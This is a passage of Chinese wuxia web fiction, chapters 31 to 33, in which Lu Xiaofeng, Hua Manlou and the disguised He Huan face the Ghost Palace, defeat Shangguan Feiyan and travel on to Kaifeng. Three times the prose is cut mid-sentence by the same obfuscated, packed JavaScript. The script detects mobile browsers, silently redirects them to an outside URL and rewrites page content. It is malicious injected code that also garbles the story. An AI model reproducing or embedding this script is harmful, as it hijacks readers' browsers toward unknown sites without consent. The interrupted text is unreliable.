陆小凤刚进来时,还被吓了一跳。 是花满楼出声:“他已经死了。”陆小凤才放松下来。 陆小凤看了他一眼,不免好奇,“他的武功如何?” “很是高强。”花满楼叹了口气,“你绝对想不到,他的身份。” 陆小凤闻言,也叹了口气,“可惜,我已经知道他的身份……只是我倒宁愿不知道。” 前来“围剿”他与何姑娘的那伙人之中,有几人还是他的朋友。他们已经告诉了陆小凤,霍天青不仅是天禽老人的关门弟子,还是他七十岁才得到的独生子,可谓是十分疼爱。 那些人见了陆小凤,只道“我们知道不是你的对手,也知道霍师叔做了错事,可只要我们还活着,就不能看你去找他的麻烦。” 花满楼皱了皱眉,声音中带着了然:“怪不得。” 怪不得,如今陆小凤才赶到。 陆小凤苦笑,“若不是有神秘人相助,恐怕我如今还在与他们僵持……还好你没事。” 他将刚刚的经历轻描淡写的带过,然而事情远没有他说的这么简单。此外,他心中仍有一个疑问在盘亘。 山林中,因为下雨而升起薄雾,雾越来越大,可见度越发的低。陆小凤虽然可以借机离开,但也很难彻底甩开这些人,摆脱当前的困境。 “霍天青如今要杀我的朋友,你们却要拦住我?”陆小凤难以置信。 为首的中年男子愧疚地低下了头颅。 “天禽老人倘若知道这件事,也不会任你们这样做!” “陆小凤,即使你去了,又能改变什么?难道你可以插手其他人的争斗吗?又或者,在师叔与旁人打斗之后,你还要对他下手吗?你怎会做这样不符合江湖道义的事?” 陆小凤冷笑,“有什么不可以?他与上官飞燕合力杀掉阎铁珊、独孤一鹤及门下十几口人的时候,有没有想过偷袭下毒的可耻?你们明知他做错了事,却要包庇他,难道符合江湖道义?” “……师叔不是这样的人,这里面或许有什么误会也说不定。”他身后的男人苍白辩驳。 “那么,就放我离开,让我去问问究竟有什么误会。” “或者,我们一起去找你的朋友。” 两方皆知这是不可能的。陆小凤他们之中有手无缚鸡之力的大夫和病患,倘若真让他们包围,谁能保证不会让那两人成为人质? 就在两厢僵持之际,突地,有银铃声响起。 远方浓稠的白雾之中,一顶惨白的轿子出现。小轿四周系着铃铛,正是它们被风吹拂时发出的声响。四名蒙着面、身穿雪白衣裙的赤脚女子,抬着这顶轻飘飘的、宛如纸张一样的轿子,飘然而来。 “天禽门……入我幽灵宫界内,连一声招呼都不打,真是无礼。” 竟然是幽灵宫! 就这短短几息之间,轿子便近了。众人虽不说话,冷汗已经湿透了后背。 近年来江湖中,有不少全是女子组成的宫派。其中知名度最高的,是移花宫;最神秘莫测的,是神水宫;而最让人心生忌惮的,则是幽灵宫。 其手段之狠辣、报复心之强烈,据说就连当年的“天下第一名侠”沈浪,也十分忌惮。江湖中更是盛行“幽灵宫中,全是死后仍有执念的女子亡魂,惹上了她们,即使躲到天涯海角也难以活下来。” 原来,何欢选中的这个客栈,竟在幽灵宫的范围之内。 白裙、“公主”、这是巧合,或者…… 陆小凤此刻心中一惊掠过万般念头。他还能保持镇定,天禽门下却因伴随浓雾而起的压抑氛围、被强压一头的尴尬,而乱中出错。 其中一个看起来就傲慢而倔强的少年人开口:“山西境内,还没有我天禽门去不得的地方。” 此话……倒也不假。寻常时候,帮派之间互相睁一只眼闭一只眼,也没有什么。 但今天却不一样。 轿子内,响起一道轻飘飘的女声。 她的声音是那么柔软而轻盈,如同天边的云、岸边的柳枝。可她的话却像如今升起的雾,阴冷、潮湿、散发着阴森森的杀气。 “自然、自然……山西境内,哪怕是地府,天禽门也入得。不过既然来了,就不用想着走了。” 话音未落,刚刚发话的那名男子已经一声不吭的倒下了。 谁也没有看到轿子中的那名女子是什么时候动的手。此刻,他们甚至不敢去查看那名兄弟的生死。 无人能想到,最先动手的是陆小凤。虽然他遭这些人的阻拦,可让他看到他们因为一句话就全部葬身此处,也是绝不可能的。 正因为他是这样的陆小凤,才能交上这么多的朋友。 他身形在雾中腾挪转移,离轿子越来越近。 四名抬轿少女却毫无动作——她们自远方而来时,就始终保持着如今的姿势,简直不像是活人。甚至陆小凤已经逼至近前,好像没有轿内人的指令,她们就永远不会有下一个动作。 “找死。”女人的轻笑响起,她伸出一只洁白的、晶莹的手。 只这一只手,就能窥见她绝世的荣光。 这只手好像大发慈悲似的,轻轻一挥。陆小凤就觉得身前重力袭来——这女子好深厚的内力,贯穿入水雾之中,伴随着雾气击中人体,不死也是重伤。 他竭力避开,身上也被重重击打了好几下。 “咦?”这女子声音中似有惊讶。 “陆小凤!”后面中年男子担忧惊呼。 抛开这件事,他们依旧是朋友。是可以两肋插刀的朋友。 中年男子想要抢身上来,却被另一人制止,“没有用的,你跟不上他们的招式。” 确实如此。就在这瞬息之间,两人已经过了三十余招,陆小凤身上衣服都破破烂烂,似有败势。可他也就差一寸,就能掀开这顶软轿的纱帘。 他究竟为何要掀开这遮掩视线的帘幔?是因为他对里面坐着的人,已经有所猜测了吗? 终于,帷幕掀开,一张虽然依旧绝美,但是明显上了年纪的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130247|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暴露在陆小凤视线中。 他竟在这个瞬间,松了一口气。 “你好像很庆幸看到的是我,怎么,这张脸让你很满意吗?”对方的声音宛如毒蛇一般缠绕住人的身体,她的语气里第一次带上了凛然的杀意。 明眼人都看的出,这名女子是真的生气了。陆小凤自然也不例外,他连忙道:“并非如此,只是……” 话音未落,女人杀招已至,任谁都能看出,陆小凤在劫难逃。 然而…… 女人的手停留在他胸腔之前,掌风割破了陆小凤的衣服,鲜血从衣物中溢出,她却突然停住,手指一弯从他破烂的衣物里抽出了一张纸条。 连陆小凤自己都不知道这张纸条从何而来。 女人看完这张字条,就将它又折回去,收进了自己的衣袖里。 她甚至掀开帘子,对陆小凤露出一个柔软的笑——然而让陆小凤来说,只能感到一阵胆寒。 “好、好……陆小凤,他们真的应该多谢你。如果不是你,我就要这些人的尸体来养我的树林。” 她说完,放下帘子,挥一挥手,竟然就如刚刚悄无声息的到来一般,同样悄无声息地离开了。 只留陆小凤呆呆地站在原地,听见众人同他道谢,再惭愧地一一离开。他们已经没有脸面再管这件事。 …… “不过,我亦没有想到,你竟可以从霍天青手底下毫发无损的胜出。” 花满楼道:“虽说也要多谢你的灵犀一指,和何姑娘的灵蛇出岫。但我总觉得他并无太多的求胜欲。” 陆小凤奇道:“怎么,难道他故意求死?” 花满楼摇头:“绝非如此。不过,我从他的剑招里感到了迷茫。或许他曾经追求的,并非是如今的结果。只是已经走上这条路,再也无法回头了。” 陆小凤与他相识四年,如今却也无法说自己真正了解他,“我认识的霍天青,虽然有些傲慢,但也是一位真正的豪杰。他所做的这一切,究竟是因为什么呢……” “我亦不知,或许……就连他自己也不知道自己真正渴望的是什么。不过,在决斗之前,他问了我一句话。” “什么?” “他问,我作为一个瞎子,明明一生都无法摆脱花家的荫庇,为什么不觉得恐惧。” “或许,他的问题,就已经回答了他的目的。” 声名远扬的父亲,传承给他的除了偌大的天禽门之外,还有重逾高山的责任与压力。他背负着这些成长,以为这些就是全部的他。可有一天,他被心怀不轨之人刻意引导向了另一条路。他开始思考:他作为天禽老人的儿子,好像什么都有了。可他作为霍天青的那一面,又真正的拥有过什么呢?外人看到的,终究是天禽老人的儿子,而不是霍天青。那些不费吹灰之力就能得到的,全被他认为是外物,而他所想要追求的、所谓的自己,又何尝不是生不带来、死不带去的外物呢? 或许,与花满楼的交谈,让他明白了这个道理。可是,一切都已经太迟了。 问出那句话的时候,他有找到自己的答案吗? 31.第 31 章 骤雨打湿了泥泞的小路。 何欢并不想在追赶的这些人身上多费力气。他伸手扣住落下的雨滴,在赶路间隙反手射出,不着痕迹地依此点了三人的穴位,将他们放倒在地。 由于陆小凤喜欢胡乱跑窜,何欢担心他会惹怒了幽灵宫宫主白飞飞,被做成傀儡,所以在他胸前叠放了一张纸条,上面以密文写道:“问姑姑安。此人乃侄儿朋友,若有冒犯,求您手下留情。近日琐事繁多,日后若得空,一定前去拜访姑姑。” 而这类躺在地上,对幽灵宫不会造成任何威胁的人,便不会被处置,放在这里也就是了。顶多因为阴气入体头疼感冒……也是他们自作自受。 无视他们莫名惊恐的目光,何欢抬头望天,不见星月。 “希望不要耽误了时辰,让她们久等。”何欢心想。 …… 上官飞燕携自己的帮手“玉面郎君”柳余恨,已经站在济仁堂的门口。 “好漂亮的招牌,”这个样貌绝美,性格却恶劣的女人嘻嘻笑着,还假装敲了敲门,“咚咚咚,有人在吗?” “西门吹雪也和那名大夫在一起,你不该这样挑衅他们。”柳余恨开口劝她。 她娇嗔,“怎么,你觉得自己打不过西门吹雪吗?” 柳余恨沉默片刻:“我不愿在你面前示弱,也不能对你撒谎。” 上官飞燕在心中暗骂一句废物,然而面上却不显,只作柔顺道,“我相信你一定可以的,就算你赢不了他,难道不能拖延时间到我解决掉那个大夫么?到时候我们两人联手,定能胜他。” 柳余恨完好的半边脸上有红晕升起,他点了点头。 门内却依旧没有动静。 “霍天青传来的消息,的确是这里……”上官飞燕狐疑,“直接把门砸开。” 门内,并没有人影,只有一个漆黑的药材柜,伫立在房间的最里面。上官飞燕和柳余恨在门前驻足。 “这里空荡的像是一个还没租出去的门面。”上官飞燕疑惑,“一家医馆,怎么可能连个看诊的地方都没有?” “你以为这是他们的障眼法?” 他们生怕是陷阱,不敢步入。 就在此时,从身后巷子中,走出来一个人。 他身着白衣,神情冷峻,一双保养的很好的手稳稳持剑。他便是西门吹雪。 他问:“你就是上官飞燕?” 柳余恨挡在了上官飞燕的前面。 西门吹雪微微笑了一下,这种表情之中,讥讽意味十足:“你们不妨一起出手。” …… 苏大夫饶有兴致的绕着何欢转了两圈,后者无奈的任由她打量。 “你是怎么做到的?”苏大夫非常非常地好奇,“你什么时候把隔壁铺面的招牌改了的?你是怎么说动隔壁那个老板的?我的招牌又是怎么回事?还有,那两个伙计……” 何欢好脾气道:“你的问题好多,先等一等,让我慢慢回答。” “隔壁的老板,只要钱给的到位就好,比如给出一个……足够让他回老家买下一间铺面,继续做糕点生意的价格。” “送走了老板,改招牌也就轻而易举。招牌用了两种不同颜色的材料刻写。一种攒金墨,在光下格外显眼,你们回来还是白日,迎着光可以看到对面写的是‘一口斋’。还有一种是萤粉石,白日嵌在木头招牌上,对着光看是透明的,到了夜里,就是浓墨重彩的‘济仁堂’。你的招牌,也是同样的道理。与此同时,让人在你的店铺前洒了香粉、磨碎了药汁涂在隔壁门板上……毕竟,气味有时候比视觉更能欺骗他人。” “这也叫轻而易举?这两种材料,我听都没听说过,你竟然用来做两个平平无奇的招牌。”苏大夫难以置信。 何欢迟疑:“……入不了药的。” “你怎么知道!没听过古代还有药墨一说吗?除非让我亲自试过,不然我绝不相信它们不可以入药。” 说好要带这两种材料给她研究,何欢才得以继续解释:“虽然陆小凤说他的朋友武功高超,但我不放心你,因此请来两位高手为你护卫,她们扮作伙计,也不会给你添麻烦。” 苏大夫看了他一眼,故意板着脸,“这些事说起来容易,做起来没有三两天应该是做不完的吧?所以,你从什么时候开始计划的。” 何欢笑而不语。 苏大夫道:“怕不是从见了我开始,就在打听我的来历了……怎么,你想招揽我?” 何欢坦诚道:“我的确想招揽你。不过,并非是通过这些安排。是我将你卷入这场纷争,也该为你寻好退路。” 苏大夫怔忪一瞬,微微扭过脸去,“你对每个人都这么好吗?” “什么?”何欢没有听懂。 苏大夫重复:“我说,你对每一个萍水相逢、甚至都不知道名字、不知道长相的人,都那么好么?” 何欢一怔,笑着反问:“你不是也和一个不知道名字、不知道长相的人直接就做了朋友吗?” 他们面面相觑,又不约而同,相视而笑。 …… 她去后院打了一盆水,里面泡着几种何欢不曾见过的药材。片刻后,她用帕子蘸着药水,洗净脸上的易容。 她眉毛略粗了些,额头有些宽,鼻子不够翘,嘴巴也偏大,并非世人追捧的样貌。但是,将这一切都放在一起,搭配上她那双冰川消融般的眼眸,和阳春白雪般的气质,即便是上官飞燕在她面前,也会自残形愧。这是一种由内而外散发的高贵与美丽。 她说:“我叫苏樱。” 她笑起来时,的确如山樱一般烂漫,何欢赞叹:“好美的名字……和你一样。” “这种话可不要说了,我听着怪难受的。”她应当并不喜欢别人关注她的样貌,只问,“你原本打算怎么招揽我?” 何欢笑道:“你的诉求,难道还比明显吗?珍稀的毒药、材料、一个可以安静做实验、医治病人的地方。此外,我还可以确保你绝对的安全。” “没有金银玉石,珠宝首饰?” 何欢惊讶:“如果你想要,月钱也是管够的,想要什么首饰只要吩咐管事的采买就好。” 果然,我没看错人。他是真心实意想要招揽一个大夫,而不是…… 放下心中的顾虑,艺高人胆大,苏樱直接道:“好,我同意了。” 何欢先是欣喜,继而歉疚道:“但我现在,还没办法给你看我的真容。” 她不介意的摆摆手,“我要跟着你做事,还愁见不到你的真人吗?” 苏樱想起什么,悄声道:“人家还在外面打架呢,我们这样,是不是不太好?” 何欢也学她的样子,小声道:“那么,你在这里等着,我去助他一臂之力。” 待何欢离开,苏樱忍不住笑骂:“呸,学人精。” …… “不必。”白衣剑客冷声道。 他与柳余恨和上官飞燕缠斗不休,主要是因为上官飞燕无处不在的飞燕针,时常扰乱他的动作。然而,越是在困境之中,越容易突破,他并不想放过这个机会。 何欢静静伫立在一旁。上官飞燕本不应该在这时候分心,可是,她却忍不住望向何欢。 这个女人,在雨中的样子,更加美了。美得让人心生嫉妒,让人想要跳起来挖烂她的脸。正巧,这时候她突然转过脸来,冲着上官飞燕微微一笑。 上官飞燕自这笑容之中,好像看到了她的冷漠与讥诮。 剑身划过人的身躯——是柳余恨,柳余恨替她挡住了西门吹雪刺来的一剑,他握住剑身,看向自己心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149525|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的女人,“快……逃……” 在临终时,他看到那人眼中的不加掩饰的嫌恶,看到她伸手将自己推向西门吹雪的剑身为自己争取更多的时间。 她曾经轻巧的如同一只燕子,飞入他的心防;如今,也正如燕子一般,毫不留情的远去了。 他常常念诵一句诗,“多情自古空余恨”。可最后,他空洞的眼中,连恨都没有留下。 …… 上官飞燕在柳余恨死后,急急运起轻功想要逃离,然而……嫉妒之情让她杀了自己的姐姐,如今嫉妒也操控了她的脚步,倘若她朝远离这二人的西边逃走,尚有一丝活路。 她忍不住,她忍不住!她偏要向何欢冲来,一根毒针已经捏在她手中。 就算是死,我也要划烂你的脸,我要你一起陪葬! 何欢神情古怪的看向自己送上门的上官飞燕。 他卸掉了这人的手脚和下巴,如今她只能像一滩烂泥一样瘫在地下。 柳余恨的眼睛,如今空洞的望着这边,上官飞燕看过去时,又不免崩溃的破口大骂。 在上官飞燕恶毒的贬低和诅咒他人时,何欢也在看着他们,“七情六欲到浓时,原来是这么可怕的东西吗?”他喃喃,“路漫漫其修远兮……我只修一半就好。” 西门吹雪并不打算理会何欢,他轻轻吹掉了剑尖上的最后一滴血。 他的神情,再次变得格外的落寞。 世间百态,无怪如是…… 何欢牵着被绑的严严实实的上官飞燕,无视她满是恶意的眼神,同花满楼和陆小凤道别。 “托陆大侠的福,也让我卷入了这种波诡云谲的江湖案件之中。倘若后续有什么进展,希望你能捎信告诉我,好了却我被勾起的好奇心。” “自然,只是不知将信寄到何处才好?” 何欢揶揄:“陆大侠一夜没睡,脑子不转了么?自然是寄给我哥哥。” 刚刚脑子里还在想幽灵宫方位的陆小凤尴尬一笑。 接着,何欢看向花满楼,“石姑娘还好么?” “她已经没事了,只是仍然容易觉得疲惫,需要多多休息。” “那就好……” 他们之前闹的小小别扭,如今竟让何欢不知该说些什么。 他有些嗫嚅:“我已听说了,你的灵蛇出岫用得很好……” 花满楼好似根本没有察觉,犹带着微笑:“是你教的认真,我怕无法通过你的考察,勤学苦练了很久。” 他的态度带得何欢也渐渐放松下来:“山高路远,就此别过……我不便打扰,花公子替我向石姑娘问好吧。” 花满楼点头:“我会的。” 他微微一笑,牵着上官飞燕转身离去。 那雪白的身影如同蹁跹的蝶,在晨光中渐行渐远。 陆小凤拍了拍花满楼的肩膀。 “她好像误会了,你不用和她解释一下吗?” “什么?”花满楼茫然。 “她好像误会你和石姑娘的关系了。” 花满楼哭笑不得:“我看,你的确该回去睡一觉了。” 陆小凤又问:“你真的不追上去?” 花满楼微笑着摇了摇头。 陆小凤定定望着他,忽而朗声一笑,“好,那你等我一下。” 说完,大红色的披风就如同另一只蝴蝶一样,向何欢的方向追了过去,留下原地怔然的花满楼。 他听见陆小凤的声音:“何姑娘——等我一下!” 花满楼侧耳,却已听不见他们的声音。 他将手摁在胸上,那里,心脏依旧在如常的跳动着,并没有加快或者变慢。只是,每跳动一下,都有一丝涩意升起,直至充盈胸腔。 这是一种什么样的情绪?他不懂。 32.第 32 章 “何姑娘——等我一下!” 何欢听见陆小凤的声音,惊讶回头。 “怎么,你忘了什么事没有说吗?”他笑问。 陆小凤在离何欢不远的地方站顿,这个距离刚刚好听清他讲话。 “我想问你,”明明是他追来,如今却吞吞吐吐,像是下了很大的决心才能将话说出口,又像是还没想清楚到底要说什么,“那张纸条上……写了什么?” “真的用上了啊?”不曾想真派上了用场,何欢看了看上官飞燕,先封闭了她的听觉,继而神情自若道:“那片山林,是幽灵宫的领地,我担心你乱跑乱窜惹怒宫主,所以就放张纸条在你身上,提前向她请罪。” “原来如此,这么说来,你与幽灵宫宫主认识。” 何欢没回答,他似在揣摩陆小凤问这句话的意图,想到什么,一挑眉,“宫主目前并没有娶夫的打算。” “什么?……不,我不是问这个。”陆小凤望向他的眼神颇为无奈,“这个玩笑只会让我吓得跳起来。” 何欢笑了两声,默认了玩笑的说法。 “我只是听说,幽灵宫的宫规是……”他说到这里,又有些犹豫。 “杀尽天下负心人?还是去父留子?” “还有这种宫规?!”陆小凤的眼睛瞪得溜圆。 何欢点头,假装正色,“是啊,原来你不知道么?那你要问的是哪一条?” 陆小凤狐疑地望着他,片刻后,笑着摇了摇头,“你啊你啊,骗我很好玩儿吗?” 何欢歪头,望向他时神情温柔。 陆小凤几乎要忘记自己想说什么了。一缕清晨的阳光恰好落在何欢的脸上,他伸手,挽起笼罩一层金辉的发丝,那张端庄又俏丽的脸庞彻底暴露在阳光之中,好似工匠精心雕琢的白玉美人。有那么一瞬间,他想,倘若时间永远停留在这个瞬间,也很好。 然只有一瞬,他就回过神来,说起好似风马牛不相及的事情:“独孤一鹤已经得到消息,青衣楼第一楼就在山西。而幽灵宫作为一个集情报与杀手于一体的组织,根植山西已久。为什么能放任青衣楼发展,可以和青衣楼和平相处?” 他的推理,让何欢蹙起眉,端正了神态。 陆小凤继续道:“我们都知道上官飞燕和霍天青杀了阎铁珊、独孤一鹤。此外,已经很久没有人可以联系到霍休,恐怕他也已遇难。上官飞燕他们的本意,应当是营造出独孤一鹤是青衣楼总瓢把子的假象,骗我送上门去做打手,最后由名义上的金鹏王朝成功收回财产,实则将这些钱财全都转移到自己手中。却不料每每总是被抢先一步,一再打乱计划,最后渔翁得利。” 他紧盯着何欢,试图从他始终带着微笑的脸上看出一些破绽,“我思来想去,谁能在这场斗争之中获得最大的利益,一开始我以为是天禽门、可霍天青是天禽老人的儿子,以他的身份,不该入局太深。” “然后,幽灵宫就出现在了我的视线里。一山不容二虎,除非其中一个将另一个当成自己囊中之物,打算养肥后宰杀,只待一个恰好的时机。何姑娘,你……倘若你是幽灵宫的一员,她们就有充足的时间布置好这一切。” 他不再说话,何欢轻声问他:“所以,你说出这一切,是想从我这里得到什么答案呢?” 陆小凤望着她,同样放轻了声音:“如果你否认,那就是我猜的不对。我就想想还有没有什么别的可能。” “那如果我说,你猜的不错呢?” “我只想知道,所谓的红鞋子与你们有没有关系,幽灵宫有没有指使上官飞燕杀人?” “没有。”何欢回答的斩钉截铁。 陆小凤闻言,露出一个笑来,“那么,江湖势力之间,你吞并我、我吞并你,实在是再正常不过的事情了,不是吗?” 何欢有些不明白他究竟在做什么了。 看何欢不解,他用食指轻轻擦过自己的两撇长得初具雏形的胡子眉毛:“不是你说,要听后续的发展吗?” 一股又好气又好笑的感觉,从何欢心中升起。他刚想开口说些什么,电光火石之间,猛地意识到不对。 “陆小凤,你……” 穿着大红披风的青年,眼底是清醒的柔情。 他是何等磊落、何等痛快的一个人,如今就站在何欢面前,却一丝暧昧的话也没有说出口,只一味地说些漫无边际的话,牵动何欢的心弦、延长着两人的相处。这难道还不够表明他的态度吗。 何欢咽下了打算戳破并拒绝的话,只道:“你想的太多了。” …… 陆小凤慢悠悠的走了回来。 花满楼仍站在熹微晨光中,听到他的脚步声,问:“你们说了什么?怎么去了这么久?” 陆小凤摸了摸自己的胡子,忍不住笑了,“她说,我还是有胡子的时候比较可爱。” 随后,他补充道:“我也这么觉得。下次谁再让我刮胡子,可不能够了。” 花满楼点点头。 “你好像有些不开心?”陆小凤问。 花满楼道:“我没有,你眼花看错了。” “或许吧……真的没有?” “没有。” 花满楼冷静想到:只消听他一如既往的语气,就知道这人过去之后绝对没说那些轻浮的话,不然如今顶着易容的小欢一定会直接拒绝。 明明理智上是这样想的,但…… 花满楼转身离开,留下身后的陆小凤自言自语,“我可问过你了,是你自己说没有必要的。” 紧接着,他的笑容变得有些忧心忡忡,他想起何欢最后给他的提示。 “幽灵宫宫主曾与‘天下第一名侠’沈浪约定,非乱世不得擅自干扰武林运转。幽灵宫由上至下,皆不在乎江湖名利,也绝未参与此事。不过……这件事背后涉及到的组织,并非只有青衣楼和红鞋子。” “或许,你可以从上官飞燕是怎么逃离六扇门监管一事,开始查起。” “六扇门啊……”陆小凤感觉自己的头在隐隐作痛。 然而,剥茧抽丝、追寻真相,很难说他对此没有一点期待。 …… 陆小凤又一次陷入了紧张刺激的查案之中,另一边,何欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157572|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵着上官飞燕赶路时,倒是发生了一件轻松的趣事。 何欢早就知道上官飞燕撒谎成性,一张巧嘴可以颠倒黑白,那张漂亮的脸也是绝无仅有的大杀器。故而早早地将她易容成一个贼眉鼠眼、身形猥琐的瘦小男人。这样一来,用绳子绑着她,旁人即使看了也会认为是何欢捉到的小贼。 然而这件事,是在上官飞燕被点了睡穴之后发生的。在赶路途中,何欢一直点着上官飞燕的哑穴,也不会特意让上官飞燕照镜子。故而,她完全不知道这件事。在客栈吃饭时,一直在找机会向他人求助。 可惜,愿意盯着一个贼眉鼠眼的男人看的人,还是太少了。 少到终于有一个人接触到上官飞燕的眼神,犹豫着上前时,上官飞燕简直要喜极而泣了,根本顾不上嫌恶对方是一位女侠。 还是一位性格如火,长相绝美的女侠。 “喂,”这位女侠别别扭扭对着何欢敲了敲桌子。 “怎么了,姑娘?有什么需要我帮忙的吗?”何欢原本看着店里的招牌,在思忖午饭要用些什么,听见声音才转过头来。 这姑娘自然就是跟白愁飞、王小石闹了别扭后独自跑掉的温柔。 温柔本意是想提醒何欢,他抓到的小贼看起来要打什么坏主意,还打算给他出个招儿,让何欢将那小贼双眼挖下来,免得再生事端。 却不料,她对上何欢那双温和而晶亮的眼眸时,竟涨红了脸。 她无法自抑的欣赏着面前这少女的美貌。她看起来娇小可人,温柔觉得自己一个人就能抱起两个她。此外,她的性格也很好,一看到我就问我要不要帮助。倘若她之前认识了田纯这种心甘情愿叫姐姐的美人,如今遇见的这个,就是想要捧在掌心里的小妹妹。 她想到这里,声音也柔和了下来:“我……我看你身边这个小贼,不怀好意,你喝不干脆解决了他,怎么还要花时间心思绑着他一起上路?” 上官飞燕的眼睛瞪得几乎快要脱出眼眶了。 何欢见到她,也认出她便是温家大小姐温柔,在临安时,神水宫便送来了这位喜欢仗义出头的大小姐的资料。如今一看,果真名不虚传。 他也柔声细语:“多谢女侠关心,只是这贼人生出的祸端,非一死可以了之。” “哦,”温柔问完话,也不走,只站在何欢身边。 “女侠可是独自一人?若不嫌弃的话,不妨与我同坐。” “我怎么会嫌弃你。”温柔等的就是他的相邀,高高兴兴就座,“好妹妹,你人真好,长得也好看。” 何欢一怔,“女侠谬赞了,女侠凤姿烈烈,我羡慕得很。” 上官飞燕已经不想看何欢假模假样的骗人,也不想看他们两个人一来一回的恭维彼此,她翻了个巨大的白眼,转过身去背对相交甚欢的两人。 他们两人已经交换了姓名,开始一起聊接下来一起同行的事了。 “我要去开封找我师兄,不知妹妹要去哪里?” 何欢道:“好巧,我也要去一趟开封,然后再向东走,就回家了。” “那不如我们同行!” 33.第 33 章 “缨妹妹来开封做什么?”温柔好奇问。 何欢道:“家中姊妹让我给她捎些炮制好的药材回去,其中有几味难得,我听闻开封药材数量品种都很多,因此想来碰碰运气。” 温柔笑道:“你看,你遇到我不是巧了吗,我在开封正好有一位熟识的药师,到时候,我就将他介绍给你。”说这话时,她在心底里想,即使不是我熟悉的,是师兄熟悉,应该也没差吧。 何欢笑着同她道谢,说全要仰仗温柔姐姐时,她简直要飘飘然到飞起来了——她少有这种被需要的时候,将胸脯一拍保证:“跟着我准没错。” 到了开封府,温柔却不知怎的,就跑没影了。 上官飞燕在一边冷笑:让你和人家套近乎,竹篮打水一场空了吧。 何欢从她眼中看出了她的幸灾乐祸,却不知她这种情绪从何而来。不过他一向不懂上官飞燕脑子里想的是什么。他低声道:“你知道自己现在这副模样做出这种表情,会很丑么?” 一句话让上官飞燕怒火冲天之后,何欢神情自若的继续饮茶。 茶楼名叫“清茗阁”,他在这里等人,从早晨到下午。来续茶水的小厮都看了他多次,想赶客的神情已经溢于言表,若不是何欢现在看起来是位又娇小、又可爱的女子,大概早早就要被赶出去。 终于,日头快要落尽,茶馆要打烊了。 他站起身,叹了口气。 何欢牵着上官飞燕慢慢走下楼,在茶馆却看到了另一个等到打烊的客人。 何欢本无意多关心别人,然而,这人正在他离开的必经之地,他经过时下意识看了一眼。 咦,这不是…… “小林?”何欢试探问。 被叫做小林的少年茫然抬头,在看到何欢的时候脸突然变得有些红,“姑娘,你你你……你认识我?” 何欢无奈:“我认得你的师父。他约好了要交付一批药材给我。怎么……不仅是你来的,他也没跟你说,让你到二楼找人吗?” 小林恍然大悟:“诶,但是师父说是……” “那是家兄,他最近有事,我替他过来的。” “那就是何姑娘了吧?真是不好意思何姑娘,师父主治的一位病人最近身子不太爽利,他这两天分不开身,就让我过来……结果老糊涂了只记得清茗阁,不记得告诉我去二楼。” 他小心翼翼看了一眼何欢:“让您久等了。” 当时师父嘱托,那位何公子的来历不简单,让他好好对待,最好把人家当成第二个师父来尊敬。结果如今来的是位看起来比他还小的姑娘……这能认出来就有鬼了。 不过……她认识我……难道是曾经远远的看到过我和师父一起免费施药的英姿,就记得我了吗? 主要是因为小林和他的师父兼父亲林老长得简直像一个模子里刻出来的,林老总是提起他,所以才有印象的何欢,并不知道小林脑袋里在想什么。 他叮嘱,“今年要的药材还要再加上一批别的。你记下来,回去问问你师父,看能不能帮我调货。” 小林一一记下之后,突然听到何欢问:“你师父之前还说要开个药堂,如今还没开成么?” “啊?”小林一愣,好像想起来什么似的,摇了摇头,“他说他太老了,懒得坐堂。” “原来如此。”何欢不着痕迹的打量了一眼小林的神色,他明显有一些说谎后的尴尬,手指还在不自觉的摩挲衣角。 林老在这种事情上为什么要骗人?何欢不解,然而这与他关系也不大,索性不再多管。 “定金的话,还是老样子?”何欢从袖子里掏出一个盒子,“不知林老有没有叮嘱你,不可见光。” “嗯嗯,您放心,我清楚。”小林小心翼翼接过黑色匣子,“那么,我就先走啦,何姑娘再见。” 上官飞燕一直在一旁看着,不知怎的,有种不寒而栗之感。 “你害怕了?在这种时候?”何欢牵着她回客栈,近日上官飞燕似乎是死心了,何欢也就不刻意做出显眼姿态消磨她求救的心理。为了不显眼,他已将绳索换成了透明的天蚕丝,只捆住上官飞燕的手脚,留一根丝线攥在手里。看起来就像是何欢身边跟着的畏畏缩缩的仆人。 这天蚕丝火烧不坏、刀砍不破,打好的特定的结之后,只有特定的手法才能解开。 上官飞燕想起温柔还说何欢这么做太善良了,还想教他更加心狠手辣一点,就来气。 这个伪善的女人! 而且,一想到如今这女人做什么都不避讳着她,她就能想到自己必死的结局。 “你有话想说?”何欢问。 上官飞燕屈辱的望着他,最终点了点头。 “我解开你的哑穴,如果你要说废话的话,这把嗓子就再也别想要了,知道吗?” 看吧,就这?温柔还说他人好? 终于,被解开了哑穴,上官飞燕低低咳了两声:“你究竟……想做什么……想要羞辱我,不如杀了我!” 